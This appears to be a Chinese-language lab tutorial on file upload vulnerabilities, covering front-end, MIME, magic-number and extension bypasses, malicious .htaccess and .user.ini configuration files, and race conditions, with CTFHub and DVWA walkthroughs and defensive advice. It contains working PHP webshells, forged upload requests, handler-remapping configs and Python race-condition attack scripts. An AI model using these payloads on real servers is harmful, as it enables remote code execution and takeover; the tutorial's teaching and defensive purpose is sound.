本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
[七、经典漏洞示例(DVWA Low 级别)](#七、经典漏洞示例(DVWA Low 级别))
[1. MIME 类型绕过(修改 Content-Type)](#1. MIME 类型绕过(修改 Content-Type))
[2. 文件头魔数伪造(图片马/文档马)](#2. 文件头魔数伪造(图片马/文档马))
[3. 组合利用:伪造头部 + 修改扩展名](#3. 组合利用:伪造头部 + 修改扩展名)
[4. 利用文件内容检测的局限性](#4. 利用文件内容检测的局限性)
[三、典型攻击步骤(以 .htaccess 为例)](#三、典型攻击步骤(以 .htaccess 为例))
[四、典型攻击代码示例(Python 脚本)](#四、典型攻击代码示例(Python 脚本))
[五、漏洞实例(DVWA 等靶场)](#五、漏洞实例(DVWA 等靶场))
[Step 1:构造恶意上传文件(test.php)](#Step 1:构造恶意上传文件(test.php))
[Step 2:准备并发上传工具](#Step 2:准备并发上传工具)
[Step 3:启动并发上传攻击](#Step 3:启动并发上传攻击)
[Step 4:同时访问上传的临时文件](#Step 4:同时访问上传的临时文件)
[Step 5:写入WebShell并验证](#Step 5:写入WebShell并验证)
一、概念
一、什么是文件上传漏洞
文件上传漏洞 是指 Web 应用程序在处理用户上传的文件时,未对文件的类型、内容、大小等进行严格校验,导致攻击者可以上传恶意文件(如 WebShell、恶意脚本、可执行文件等),并通过后续访问该文件,在服务器上执行任意代码,从而完全控制服务器。
简单来说:你允许用户上传头像、附件、文档,但没检查上传的是不是真的图片/文档,攻击者就能上传一个"披着图片外衣"的木马。
二、漏洞产生的根本原因
-
缺乏有效的文件类型校验
-
仅通过
Content-Type(如image/jpeg)判断,攻击者可轻易伪造。 -
仅检查文件扩展名(如
.jpg),攻击者可双扩展名或利用解析漏洞绕过。
-
-
文件内容未进行深度检查
- 未检查文件头(Magic Number),攻击者可伪造
GIF89a头部,后面跟恶意代码。
- 未检查文件头(Magic Number),攻击者可伪造
-
上传后的文件可被访问或执行
- 文件保存在 Web 可访问目录(如
uploads/),且服务器将其作为脚本解析(如 PHP、ASP、JSP)。
- 文件保存在 Web 可访问目录(如
-
缺乏重命名或隔离存储
- 直接保留原始文件名,攻击者可利用路径遍历(
../)覆盖系统文件。
- 直接保留原始文件名,攻击者可利用路径遍历(
三、漏洞危害
| 危害等级 | 具体影响 |
|---|---|
| 高危 | 上传 WebShell(如 webshell.php),获取服务器控制权 → 读取/修改所有文件、提权、内网渗透 |
| 高危 | 上传恶意脚本执行系统命令,如反弹 Shell、下载木马 |
| 中危 | 上传恶意的 HTML/JS 文件 → 存储型 XSS 攻击,或钓鱼页面 |
| 中危 | 上传大文件耗尽服务器磁盘空间,导致拒绝服务 |
| 低危 | 覆盖已有文件(如 ../../config.php)导致业务异常 |
四、典型攻击流程

示例(PHP WebShell 上传):
-
编写
shell.php,内容:<?php system($_GET['cmd']); ?> -
将扩展名改为
shell.jpg或伪造 Content-Type 为image/jpeg -
上传成功,服务器保存为
http://target.com/uploads/shell.jpg -
攻击者访问
http://target.com/uploads/shell.jpg?cmd=whoami -
如果服务器配置不当(如 Apache 将
.jpg按 PHP 解析),则执行whoami命令并返回结果。
五、常见绕过方式
| 防御措施 | 绕过方法 |
|---|---|
| 仅检查前端 JS 扩展名 | 修改请求包(抓包改后缀名) |
| 检查 Content-Type | 修改为 image/gif 等白名单 MIME |
| 检查文件头(Magic Number) | 在文件开头添加 GIF89a,后面跟上真实代码 |
黑名单禁止 php 等扩展名 |
使用 .php3, .phtml, .php5 或双写 .phphpp |
| 仅客户端验证 | 直接上传原始恶意文件,无防护 |
六、防御建议
-
采用白名单校验
- 只允许特定的扩展名(如
jpg,png,gif,doc,pdf),拒绝所有其他扩展名。
- 只允许特定的扩展名(如
-
检查文件内容
- 使用
getimagesize()或读取文件头(Magic Number)验证真实类型。
- 使用
-
上传后重命名
- 使用随机字符串(如 UUID)作为文件名,不保留原始名称。
-
隔离存储
-
将文件存储到 Web 根目录之外,通过脚本读取并提供下载(避免直接 URL 执行)。
-
如果必须 Web 可访问,设置该目录无脚本执行权限(如 Apache 的
php_flag engine off)。
-
-
限制文件大小
- 防止大文件上传耗尽资源。
-
使用 Content-Disposition
- 强制浏览器下载而非解析(针对 HTML 等文件)。
七、经典漏洞示例(DVWA Low 级别)
DVWA 的文件上传模块(Low):
<?php if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '上传失败'; } else { echo "文件已上传至 {$target_path}"; } } ?>
没有任何检查 → 直接上传 shell.php 即可获得 WebShell。
八、总结
文件上传漏洞本质是 信任了用户提供的数据并允许其在服务器上执行。修复的核心原则:
所有上传的文件都应当被视为潜在的恶意文件,必须经过严格的类型校验、重命名、隔离存储,并禁止直接执行。
二、前端过滤绕过
前端过滤指的是 Web 应用在浏览器端 (通过 JavaScript、HTML 属性等)对用户上传的文件进行初步检查,例如限制文件扩展名、文件类型或大小。它只能提供用户体验上的便利,无法作为真正的安全防护,因为攻击者可以轻松绕过前端限制。
一、常见的前端过滤方式
| 类型 | 实现方式 | 示例 |
|---|---|---|
| 扩展名限制 | HTML accept 属性 |
<input type="file" accept="image/jpeg,image/png"> |
| JavaScript 校验 | JS 读取文件扩展名或 MIME 类型,不符合则阻止提交 | `if(!/.(jpg |
| 前端文件类型检测 | 读取 File 对象的 type 属性(基于 MIME) |
if(file.type !== 'image/jpeg') { alert('非法类型'); } |
| 前端大小限制 | 检查 file.size 属性 |
if(file.size > 2*1024*1024) { alert('文件超过2MB'); } |
二、前端过滤的核心缺陷
所有前端验证都可以被绕过,因为攻击者完全可以控制 HTTP 请求的构造。
浏览器执行的前端校验仅发生在用户本地,攻击者可以通过以下方法轻松绕过:
-
直接篡改 HTTP 请求 使用 Burp Suite、Fiddler 等代理工具,拦截上传请求,将文件名、Content-Type 等修改为符合后端要求的格式,而实际发送的却是恶意文件内容。
-
禁用或修改 JavaScript
-
使用浏览器开发者工具删除相关校验函数。
-
在浏览器设置中禁用 JavaScript,使前端校验代码完全不执行。
-
修改
accept属性或绕过File对象的检查。
-
-
构造自定义 HTTP 请求 直接用
curl、Postman 等工具发送 POST 请求,完全绕过浏览器环境,自定义上传参数。
三、绕过前端过滤的典型步骤(以图片上传为例)
-
准备恶意文件 编写一个
shell.php或shell.jpg.php,内容为<?php system($_GET['cmd']); ?>。 -
修改文件名 在拦截的请求中,将
filename="shell.php"改为filename="shell.jpg"(如果后端仅检查扩展名)。 或将Content-Type改为image/jpeg。 -
发送请求 转发修改后的请求,文件内容依然是恶意脚本,但前后端看到的文件"类型"符合预期。
POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg <?php system($_GET['cmd']); ?> ------WebKitFormBoundary--
如果服务器未做严格后端校验,这个 shell.jpg 就可能被保存并以 PHP 解析执行。
四、前端过滤的唯一正确用途
前端过滤只能用于提升用户体验,例如:
-
提醒用户上传正确的文件格式,减少无效提交。
-
在文件过大时提前提示,避免网络传输浪费。
永远不要依赖前端过滤来阻止恶意文件上传。安全必须建立在后端校验上。
五、安全开发建议
| 校验点 | 正确实现方式 |
|---|---|
| 文件扩展名 | 后端使用白名单(如 ['jpg','png']),拒绝所有其他扩展名。 |
| MIME 类型 | 后端检测 $_FILES['file']['type'] 不可信,应读取文件真实魔数(如 finfo_file)。 |
| 文件内容 | 图片文件调用 getimagesize();文本文件检测是否有危险函数。 |
| 存储方式 | 重命名为随机字符串(如 md5(time())),上传目录禁止脚本执行(如 .htaccess 设置 php_flag engine off)。 |
| 大小限制 | 后端配置 upload_max_filesize 及 post_max_size。 |
六、靶场演示
以ctfhub靶场为例
前端验证:
这个前端验证不能直接上传木马文件

f12看源代码,只能上传jpg,phg,gif文件

所以要把木马文件改一下

用bp抓包,再把jpg改成php

放包上传

用蚁剑测试连接,找flag文件

找到flag

三、后端文件类型绕过
一、定义
后端文件类型绕过 是指攻击者通过伪造或篡改文件的内容特征(如 MIME 类型、文件头魔数等),使后端程序在检查文件类型时将其误判为合法类型(如图片、文档),从而绕过服务器端基于文件类型的安全校验,成功上传恶意文件(如 WebShell)的技术。
简单来说:欺骗服务器让它相信你上传的是一张图片或一个 PDF,而实际上里面藏着可执行的脚本代码。
二、核心原理
后端在接收文件时,通常会通过以下几种方式判断文件的"真实类型":
| 检查方式 | 依赖数据 | 可被伪造? |
|---|---|---|
$_FILES['file']['type'] |
客户端发送的 Content-Type 头 |
极易伪造 |
| 文件扩展名 | 文件名后缀 | 不属于"类型"检查,属于扩展名检查 |
| 文件头魔数 | 文件开头的若干字节(如 FF D8 FF 表示 JPEG) |
可伪造 |
调用 finfo_file() / getimagesize() |
读取文件真实内容 | 可伪造(仅头部) |
绕过的关键在于 :后端往往只检查文件的前几个字节或客户端提供的 Content-Type,而不会完整解析文件内容。攻击者可以在恶意文件的开头插入合法的文件头,使校验函数误判。
三、常见后端文件类型绕过方法
1. MIME 类型绕过(修改 Content-Type)
-
场景 :后端仅检查
$_FILES['file']['type']是否在白名单内,例如image/jpeg、image/png。 -
绕过 :使用 Burp Suite 拦截上传请求,将
Content-Type改为允许的值,而文件内容保持不变(恶意脚本)。 -
示例:
Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg ← 伪造为图片类型
2. 文件头魔数伪造(图片马/文档马)
-
场景 :后端调用
finfo_file()、getimagesize()或检查文件开头的魔术数字。 -
绕过:在恶意文件前插入合法文件头。例如:
-
图片马 :
GIF89a<?php system($_GET['cmd']); ?> -
PDF 马 :
%PDF-1.4 ... <?php ... ?>
-
-
原理 :
getimagesize()读取到GIF89a会返回合法图片信息,但后续的 PHP 代码在特定条件下仍可被执行(如服务器将图片当作脚本解析、或包含漏洞)。
3. 组合利用:伪造头部 + 修改扩展名
-
场景:后端同时检查扩展名(白名单)和文件头。
-
绕过 :上传
shell.jpg,文件头伪造为FF D8 FF(JPEG),内容为 PHP 代码。扩展名和头部都符合图片要求,但文件内嵌脚本。 -
后续利用 :如果服务器配置错误(如
.htaccess将.jpg也作为 PHP 解析),或者存在本地文件包含漏洞,即可执行。
4. 利用文件内容检测的局限性
-
某些后端只检查文件头,而忽略文件其余部分。攻击者可在头部之后添加大量垃圾数据再插入真实脚本,绕过简单的字符串匹配。
-
对于 PDF、DOCX 等复合文档,攻击者可将恶意宏或脚本嵌入正常文档中,保持文件类型特征不变。
四、与"后端文件扩展名绕过"的区别
| 对比项 | 后端文件类型绕过 | 后端文件扩展名绕过 |
|---|---|---|
| 攻击目标 | 针对文件的内容特征(MIME、魔数) | 针对文件名的后缀(扩展名) |
| 典型方法 | 修改 Content-Type、伪造文件头 |
双扩展名、00截断、大小写混淆、利用黑名单遗漏 |
| 检测依据 | 文件实际字节内容 | 文件名字符串 |
| 绕过后果 | 服务器将恶意文件误认为合法类型而接收 | 服务器允许非法扩展名上传 |
两者可能同时使用 :例如上传一个文件,扩展名伪装成 .jpg,文件头也伪装成 GIF89a,最终获得一个图片马。
五、防御措施(针对后端文件类型绕过)
-
不要信任客户端提供的 MIME :忽略
$_FILES['file']['type'],改用后端真实检测。 -
深度检查文件头:不仅检查前几个字节,还应验证文件整个签名(如 PNG 需要检查多个 chunk)。
-
对图片进行二次渲染:使用 GD 或 Imagick 重新生成图片,彻底消除恶意嵌入代码。
-
使用多维度白名单:文件扩展名 + 文件头 + 文件内容特征(如图片尺寸、PDF 结构)三者同时匹配才放行。
-
隔离存储与执行:上传文件存放于 Web 目录之外,通过脚本输出;上传目录禁止脚本执行。
六、总结
后端文件类型绕过的本质是 服务器对文件真实类型的判定逻辑存在盲点 ,攻击者可以利用这些盲点,让一个恶意文件通过"类型检查"并被存储到服务器上。成功的绕过通常还需要配合解析漏洞或包含漏洞才能造成实际危害。安全地实现文件上传,必须将 内容检测 与 存储隔离 相结合,而非依赖任何单一校验点
七、靶场演示
MIME绕过:
这个也不能直接上传木马文件

需要抓包,修改第17行的值,改成image/png

放包再上传

用蚁剑测试连接

找到flag

文件头检测:
这个必须搞一个图片木马才能绕过
截一个小图片

把图片和木马结合到一块
cat mm.png mm.php > mm_shell.png

继续进行上传抓包,把png改成php

url和路径结合

蚁剑测试连接

得到flag

四、后端文件扩展名绕过
一、定义
后端文件扩展名绕过 是指攻击者通过构造特殊的文件名,使后端程序在检查文件扩展名时产生错误判断(例如将恶意文件判断为允许上传的类型),从而绕过基于扩展名的安全校验,成功上传可执行脚本(如 WebShell)的攻击技术。
简单来说:欺骗服务器让它以为你上传的是 .jpg 或 .png,而实际保存下来的文件名却是 .php 或 .asp。
二、核心原理
后端通常通过获取文件名中的扩展名(如 pathinfo($filename, PATHINFO_EXTENSION))并与黑名单/白名单比对来决定是否允许上传。攻击者利用以下差异实现绕过:
-
验证逻辑与保存逻辑不一致:后端检查时看到的扩展名是合法的,但实际保存到服务器时的文件名却是恶意的。
-
黑名单覆盖不全:某些可执行扩展名未被禁止。
-
字符串处理缺陷:大小写、双写、截断等导致过滤失效。
三、常见扩展名绕过方法
| 绕过方法 | 原理 | 示例文件名 | 效果 |
|---|---|---|---|
| 黑名单不完整 | 仅禁止 .php,未禁止其他 PHP 扩展名 |
shell.php5、shell.phtml |
文件被保存为 .php5,仍可被 PHP 解析 |
| 大小写混淆 | 黑名单只检查小写,未做归一化 | shell.PhP |
若系统大小写不敏感(如 Windows),保存后仍可作为 PHP 执行 |
| 双扩展名(解析顺序差异) | 后端只检查最后一个点后的后缀,而某些服务器解析机制使用第一个后缀 | shell.jpg.php |
后端检查到 .php 被拦截;但若检查第一个点:shell.php.jpg 被误判为 .jpg 而放行,服务器却可能执行 .php 部分 |
| 特殊字符截断(00截断) | 使用 %00 或 0x00 截断字符串,导致检查时只看到合法扩展名 |
shell.php%00.jpg |
后端检测 .jpg 通过,但 C 类函数保存时截断为 shell.php |
| 双写绕过 | 黑名单删除一次危险关键字后,剩余部分仍构成危险扩展名 | shell.pphphp |
过滤 php 后剩下 shell.php |
| 文件系统特性(Windows) | 末尾的 . 或空格被自动去除 |
shell.php. |
检查时扩展名为空(或 . 被忽略),保存后变为 shell.php |
| 利用 NTFS 流文件 | 文件名包含 :,检查时忽略流名,保存时生成流文件 |
shell.php:jpg |
检查扩展名为 jpg,实际写入 shell.php(流文件) |
四、典型攻击流程(以黑名单为例)
-
探测黑名单 :尝试上传
test.php→ 被拦截;上传test.php5→ 成功。说明黑名单未包含.php5。 -
上传 WebShell :将
<?php system($_GET['cmd']); ?>命名为shell.php5上传。 -
获取访问路径 :假设上传目录为
/uploads/shell.php5。 -
执行命令 :访问
http://target.com/uploads/shell.php5?cmd=whoami,获得系统权限。
五、与"后端文件类型绕过"的区别
| 对比项 | 后端文件扩展名绕过 | 后端文件类型绕过 |
|---|---|---|
| 攻击目标 | 文件名的后缀字符串 | 文件的内容特征(MIME、魔数) |
| 检查依据 | $_FILES['name'] 中的扩展名 |
文件头或客户端 Content-Type |
| 典型方法 | 双扩展名、00截断、双写、大小写、利用系统特性 | 伪造 MIME、图片马、PDF 马 |
| 绕过后果 | 非法扩展名被允许上传 | 恶意文件被误判为合法类型 |
两者可组合使用 :攻击者可能同时伪造扩展名(如 .jpg)和文件头(GIF89a),上传一个"图片马"。
六、防御措施
-
使用白名单而非黑名单 :只允许业务必需的少数扩展名(如
.jpg,.png,.pdf),拒绝其他所有后缀。 -
归一化处理:将文件名转为小写、去除末尾点/空格、过滤控制字符后再校验。
-
严格白名单匹配 :不允许任何不在列表中的扩展名,包括
.php5、.phtml等变种。 -
重命名文件 :上传后使用随机字符串(如
UUID.jpg)重新命名,不保留原始文件名。 -
禁用危险解析 :上传目录配置禁止脚本执行(如 Apache 的
php_flag engine off)。 -
多层校验:扩展名 + 文件头 + 内容检测组合使用。
七、总结
后端文件扩展名绕过本质是利用 文件名处理逻辑的缺陷或配置的疏忽 ,让恶意脚本以"合法"的名义入驻服务器。最有效的防御是 白名单 + 重命名 + 存储隔离,彻底消除扩展名带来的风险。
八、靶场演示
00截断:

导入mm.jpg

修改

放包上传可能不显示上传路径,手动添加一下

跟上面操作一样,用蚁剑测试连接,找到flag

双写绕过:
上传php木马

抓包把php改成pphphp

放包

用蚁剑测试连接成功

找到flag

五、配置文件漏洞
配置文件漏洞是文件上传漏洞的一种特殊利用方式。攻击者通过上传特定的配置文件(如 .htaccess、web.config、httpd.conf 等)来改变服务器对文件解析的行为,从而使之前上传的普通文件(如图片、文本)被当作脚本执行,或直接执行恶意代码。
一、核心原理
Web 服务器(如 Apache、Nginx、IIS)允许在特定目录下放置配置文件,用于覆盖全局设置。如果网站的上传功能没有限制文件类型,攻击者可以上传一个恶意的配置文件,并利用它:
-
将任意扩展名的文件(如
.jpg)当作 PHP 或 ASP 脚本解析。 -
开启服务器目录列表,方便访问上传的其他恶意文件。
-
修改错误处理、重定向规则等,辅助钓鱼或攻击。
成功上传配置文件后,攻击者再上传一个内容为恶意脚本的"图片马"或"文本文件",由于配置文件已改变解析规则,该伪装的普通文件会被服务器当作脚本执行,从而获取 WebShell。
二、常见可被利用的配置文件
| 配置文件 | 适用服务器 | 作用 |
|---|---|---|
.htaccess |
Apache | 目录级配置,可覆盖主配置文件。 |
web.config |
IIS 7.0+ | 可控制错误页面、处理程序映射等。 |
httpd.conf / apache2.conf |
Apache(全局) | 除非上传目录恰好是主配置目录,一般无法覆盖。 |
.user.ini |
PHP (FastCGI 模式) | 可设置 auto_prepend_file 等选项,自动包含文件。 |
三、典型攻击步骤(以 .htaccess 为例)
-
上传
.htaccess文件 构造一个.htaccess内容:AddType application/x-httpd-php .jpg .png .gif该指令使 Apache 将扩展名为
.jpg、.png、.gif的文件当作 PHP 脚本解析。 -
绕过文件类型检查 如果后端限制了上传文件的扩展名(如仅允许图片),攻击者可将文件名设为
shell.jpg,内容为:<?php system($_GET['cmd']); ?>同时可能还需要伪造文件头(如
GIF89a)以通过内容检查。 -
访问触发 访问
http://target.com/uploads/shell.jpg?cmd=id,即使文件扩展名为.jpg,由于.htaccess的配置,服务器仍会以 PHP 执行该文件,返回uid=www-data等信息。
四、其他配置文件漏洞利用变种
| 配置文件 | 恶意配置示例 | 利用效果 |
|---|---|---|
web.config (IIS) |
xml<handlers><add name="php" path="*.jpg" verb="*" modules="FastCgiModule" scriptProcessor="C:\php\php-cgi.exe" /></handlers> |
将 .jpg 映射给 PHP 解析器 |
.user.ini (PHP) |
auto_prepend_file = shell.jpg |
在每个 PHP 文件执行前自动包含 shell.jpg(该文件内嵌恶意代码) |
.htaccess |
php_value auto_prepend_file shell.jpg |
同上,实现自动包含 |
.htaccess |
Options +Indexes |
开启目录列表,暴露其他上传文件 |
crossdomain.xml |
<allow-access-from domain="*" /> |
开启跨域策略,可能被用于 CSRF 或信息窃取 |
五、防御措施
-
白名单限制上传文件扩展名 :坚决不允许上传
.htaccess、.ini、.xml、.config等配置文件扩展名。 -
重命名上传文件 :使用随机字符串(如
md5(time()))重命名,并保留安全的扩展名(如.jpg),完全丢弃原始文件名。 -
设置上传目录禁止执行脚本 :在 Apache 中使用
.htaccess禁用 PHP 引擎:php_flag engine off或在 Nginx 中使用
location匹配上传目录,返回 404 或直接拒绝访问。 -
限制目录配置覆盖范围 :在 Apache 主配置中设置
AllowOverride None,禁止使用.htaccess覆盖配置。 -
定期扫描上传目录:检查是否存在非预期的配置文件或恶意脚本。
-
文件内容检查:对上传的文件内容进行深度扫描,防止内嵌恶意代码。
六、总结
配置文件漏洞是文件上传攻击中威力巨大的一类,它不直接上传 WebShell,而是通过"改变规则"让服务器为攻击者服务。防御的关键在于严格的扩展名白名单 + 重命名 + 上传目录无执行权限,三者缺一不可。
七、靶场演示
.htaccess:
.htaccess文件,用.htaccess为文件名
<FilesMatch "\.jpg$"> SetHandler application/x-httpd-php </FilesMatch>

先上传.htaccess文件
再上传图片木马文件
把url和上传路径给结合,用·蚁剑验证

得到flag

六、条件竞争
一、什么是条件竞争漏洞
条件竞争漏洞是指系统在处理多个并发请求时,由于代码执行的时序问题,导致攻击者能够利用"检查与使用"之间的时间差,绕过安全限制。在文件上传场景中,条件竞争通常发生在:
-
服务器接收到上传的文件后,先临时保存,然后才进行安全检查(如扫描病毒、检测类型、重命名等)。
-
在文件被验证之前,攻击者能够访问并执行该临时文件。
简而言之:攻击者抢在服务器"杀死"恶意文件之前,抢先触发它的执行。
二、漏洞产生的原因
典型的不安全代码流程如下:
-
接收上传文件,保存到服务器临时目录(例如
/tmp/upload_12345.tmp)或最终上传目录。 -
对文件进行安全检查(扩展名、MIME、内容扫描等)。
-
若检查不通过,删除该文件。
问题在于:从第1步到第3步之间存在一个时间窗口。如果攻击者能够在文件被删除之前,发起另一个并发请求访问这个文件(如通过已知路径直接请求),则恶意代码可能被执行。
三、常见的条件竞争攻击场景
场景1:上传后检查前被访问
-
上传一个
shell.php,内容为<?php system($_GET['cmd']); ?>。 -
服务器接收后,临时保存在
/uploads/目录下(或公开可访问的临时路径)。 -
同时,攻击者编写脚本,在上传瞬间不断请求
http://target.com/uploads/shell.php?cmd=whoami。 -
如果请求在文件被删除之前到达,且服务器配置将该文件作为 PHP 解析,则命令执行成功。
场景2:先保存,后重命名/移动
某些应用先将文件保存到最终目录,再检查后缀,发现非法则删除。攻击者可以在删除前访问。
场景3:分块上传与合并
一些应用支持分块上传,将文件块暂存后再合并。攻击者可以在合并完成前访问未完成的临时文件。
四、典型攻击代码示例(Python 脚本)
import threading import requests upload_url = "http://target.com/upload.php" attack_url = "http://target.com/uploads/shell.php" # 上传恶意文件 files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')} data = {'submit': 'upload'} def upload(): while True: requests.post(upload_url, files=files, data=data) def attack(): while True: r = requests.get(attack_url + "?cmd=whoami") if r.status_code == 200: print(r.text) break # 多线程并发 for i in range(10): threading.Thread(target=upload).start() threading.Thread(target=attack).start()
五、漏洞实例(DVWA 等靶场)
-
DVWA 文件上传模块(low/medium):上传后直接保存,不检查或仅简单检查,无删除机制 → 无竞争问题。
-
某些安全插件:先上传到临时目录,后台扫描,扫描通过才移至最终目录。此时存在竞争窗口。
六、修复与防御措施
| 措施 | 说明 |
|---|---|
| 先验证后保存 | 在内存中完成所有检查(扩展名、MIME、内容扫描),通过后再写入磁盘,消除临时文件暴露时间。 |
| 使用不易猜测的路径 | 将上传文件保存到 Web 目录之外,或使用随机字符串命名,使攻击者无法直接猜测访问路径。 |
| 设置临时目录禁止执行脚本 | 临时目录配置 .htaccess 或 php_flag engine off,即使被访问也不会执行。 |
| 文件锁定机制 | 在检查期间对文件加锁,检查完成前禁止其他进程读取。 |
| 原子操作 | 将"写入-检查-移动"设计为原子操作(如使用数据库事务或文件系统 rename 配合锁)。 |
| 及时删除 | 减少检查时间,尽快删除非法文件。但无法完全消除竞争窗口。 |
七、总结
条件竞争是文件上传漏洞中的高级利用技巧,它不直接绕过内容检查,而是利用服务器处理文件时的逻辑顺序缺陷 。防御的核心是:在文件写入可访问位置之前完成所有安全检查,或者使临时文件无法被攻击者访问/执行。
八、靶场演示
一、漏洞概述
本次测试的目标是一个存在条件竞争(Race Condition) 的文件上传功能。后端PHP代码的缺陷在于:先将上传的文件保存到服务器,再检查文件扩展名是否在白名单内,如果不合法则删除。攻击者可以利用"保存"与"删除"之间的极短时间窗口,在文件被删除前抢先访问并执行它,从而获得WebShell。
二、漏洞代码分析
前端:

后端:

$ext_arr = array('jpg', 'png', 'gif'); $file_ext = end(explode(".", $name)); // 获取扩展名 $upload_file = "./images/{$name}"; if(move_uploaded_file($temp_file, $upload_file)){ // 先移动文件 if(in_array($file_ext, $ext_arr)){ // 后检查扩展名 echo "success"; }else{ unlink($upload_file); // 不合法则删除 } }
问题 :从 move_uploaded_file 完成到 unlink 执行之间存在时间差。攻击者可在此期间访问该文件,触发执行。
三、攻击步骤
Step 1:构造恶意上传文件(test.php)
文件内容:
<?php file_put_contents("shell.php", '<?php eval($_POST[0]); ?>'); echo "getshell!!!"; ?>

目的 :该脚本被临时保存后,一旦被访问,会在当前目录生成一个真正的WebShell shell.php,内容为一句话木马(密码0)。
Step 2:准备并发上传工具
使用 Burp Suite Intruder 实现无限循环上传。
-
抓包 :拦截上传
test.php的POST请求。
-
发送到Intruder(Ctrl+I)。
-
清空Payload位置标记(因为不需要替换参数,只需重复发送相同请求)。
-
Payloads设置:
-
Payload type: Null payloads
-
勾选 Continue indefinitely(无限持续发送)
-
-
Resource pool:设置足够高的并发线程数(如20)。

Step 3:启动并发上传攻击
访问test.php

再进行bp抓包,发到Intruder进行爆破

点击 Start attack ,Burp Suite 开始以极高频率重复上传 test.php。
如果上传不了,那就使用下面脚本访问test.php
import requests import threading def demo(): req = requests.get("http://IP/images/test.php") while True: threading.Thread(target=demo).start()
Step 4:同时访问上传的临时文件
在并发上传期间,使用浏览器或curl反复请求:
http://靶机IP/images/test.php
由于test.php被不断上传并短暂存在,总有一次请求会在文件被删除前命中,从而触发脚本执行。
Step 5:写入WebShell并验证
成功执行后,test.php会在同一目录(/images/)下生成shell.php。访问:

http://靶机IP/images/shell.php
POST参数 0=phpinfo(); 即可看到PHP配置信息,证明WebShell可用
